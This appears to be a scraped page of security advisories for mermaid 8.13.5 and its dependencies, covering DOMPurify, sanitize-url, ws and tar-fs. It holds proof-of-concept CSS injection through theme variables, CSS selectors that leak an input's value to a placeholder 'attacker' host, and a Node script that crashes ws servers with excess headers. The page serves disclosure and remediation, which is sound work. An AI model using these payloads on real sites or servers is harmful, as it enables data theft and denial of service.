All the vulnerabilities related to the version 8.13.5 of the package
Prototype pollution vulnerability found in Mermaid's bundled version of DOMPurify
The following bundled files within the Mermaid NPM package contain a bundled version of DOMPurify that is vulnerable to https://github.com/cure53/DOMPurify/security/advisories/GHSA-mmhx-hmjr-r674, potentially resulting in an XSS attack.
This affects the built:
dist/mermaid.min.jsdist/mermaid.jsdist/mermaid.esm.mjsdist/mermaid.esm.min.mjsThis will also affect users that use the above files via a CDN link, e.g. https://cdn.jsdelivr.net/npm/mermaid@10.9.2/dist/mermaid.min.js
Users that use the default NPM export of mermaid, e.g. import mermaid from 'mermaid', or the dist/mermaid.core.mjs file, do not use this bundled version of DOMPurify, and can easily update using their package manager with something like npm audit fix.
develop branch: 6c785c93166c151d27d328ddf68a13d9d65adc00Possible inject arbitrary CSS into the generated graph affecting the container HTML
An attacker is able to inject arbitrary CSS into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted CSS selectors.
The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the value attribute one character at a time. Whenever there is an actual match, an http request will be made by the browser in order to "load" a background image that will let an attacker know what's the value of the character.
input[name=secret][value^=g] { background-image: url(http://attacker/?char=g); }
...
input[name=secret][value^=go] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goo] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goos] { background-image: url(http://attacker/?char=s); }
...
input[name=secret][value^=goose] { background-image: url(http://attacker/?char=e); }
Has the problem been patched? What versions should users upgrade to?
Is there a way for users to fix or remediate the vulnerability without upgrading?
Are there any links users can visit to find out more?
If you have any questions or comments about this advisory:
mermaid.js
GHSL-2022-036)By supplying a carefully crafted textColor theme variable, an attacker can inject arbitrary CSS rules into the document. In the following snippet we can see that getStyles does not sanitize any of the theme variables leaving the door open for CSS injection.
Snippet from src/styles.js:
const getStyles = (type, userStyles, options) => {
return ` {
font-family: ${options.fontFamily};
font-size: ${options.fontSize};
fill: ${options.textColor}
}
For example, if we set textColor to "green;} #target { background-color: crimson }" the resulting CSS will contain a new selector #target that will apply a crimson background color to an arbitrary element.
<html>
<body>
<div id="target">
<h1>This element does not belong to the SVG but we can style it</h1>
</div>
<svg id="diagram">
</svg>
<script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>
<script>
mermaid.initialize({ startOnLoad: false });
const graph =
`
%%{ init: { "themeVariables" : { "textColor": "green;} #target { background-color: crimson }" } } }%%
graph TD
A[Goose]
`
const diagram = document.getElementById("diagram")
const svg = mermaid.render('diagram-svg', graph)
diagram.innerHTML = svg
</script>
</body>
</html>
In the proof of concept above we used the textColor variable to inject CSS, but there are multiple functions that can potentially be abused to change the style of the document. Some of them are in the following list but we encourage mantainers to look for additional injection points:
This issue may lead to Information Disclosure via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc.
Ensure that user input is adequately escaped before embedding it in CSS blocks.
DOMpurify has a nesting-based mXSS
DOMPurify allows tampering by prototype pollution
It has been discovered that malicious HTML using special nesting techniques can bypass the depth checking added to DOMPurify in recent releases. It was also possible to use Prototype Pollution to weaken the depth check.
This renders dompurify unable to avoid XSS attack.
Fixed by https://github.com/cure53/DOMPurify/commit/1e520262bf4c66b5efda49e2316d6d1246ca7b21 (3.x branch) and https://github.com/cure53/DOMPurify/commit/26e1d69ca7f769f5c558619d644d90dd8bf26ebc (2.x branch).
DOMPurify vulnerable to tampering by prototype polution
dompurify was vulnerable to prototype pollution
Fixed by https://github.com/cure53/DOMPurify/commit/d1dd0374caef2b4c56c3bd09fe1988c3479166dc
DOMPurify allows Cross-site Scripting (XSS)
DOMPurify before 3.2.4 has an incorrect template literal regular expression when SAFE_FOR_TEMPLATES is set to true, sometimes leading to mutation cross-site scripting (mXSS).
Cross-site Scripting in sanitize-url
The package @braintree/sanitize-url before 6.0.0 is vulnerable to Cross-site Scripting (XSS) due to improper sanitization in the sanitizeUrl function.
@braintree/sanitize-url Cross-site Scripting vulnerability
sanitize-url (aka @braintree/sanitize-url) before 6.0.1 allows XSS via HTML entities.
ws affected by a DoS when handling a request with many HTTP headers
A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)
In vulnerable versions of ws, the issue can be mitigated in the following ways:
--max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.server.maxHeadersCount to 0 so that no limit is applied.The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
tar-fs can extract outside the specified dir with a specific tarball
v3.0.8, v2.1.2, v1.16.4 and below
Has been patched in 3.0.9, 2.1.3, and 1.16.5
You can use the ignore option to ignore non files/directories.
ignore (_, header) {
// pass files & directories, ignore e.g. symlinks
return header.type !== 'file' && header.type !== 'directory'
}
Thank you Caleb Brown from Google Open Source Security Team for reporting this in detail.
tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File
An Improper Link Resolution Before File Access ("Link Following") and Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.
This issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7.
tar-fs has a symlink validation bypass if destination directory is predictable with a specific tarball
v3.1.0, v2.1.3, v1.16.5 and below
Has been patched in 3.1.1, 2.1.4, and 1.16.6
You can use the ignore option to ignore non files/directories.
ignore (_, header) {
// pass files & directories, ignore e.g. symlinks
return header.type !== 'file' && header.type !== 'directory'
}
Reported by: Mapta / BugBunny_ai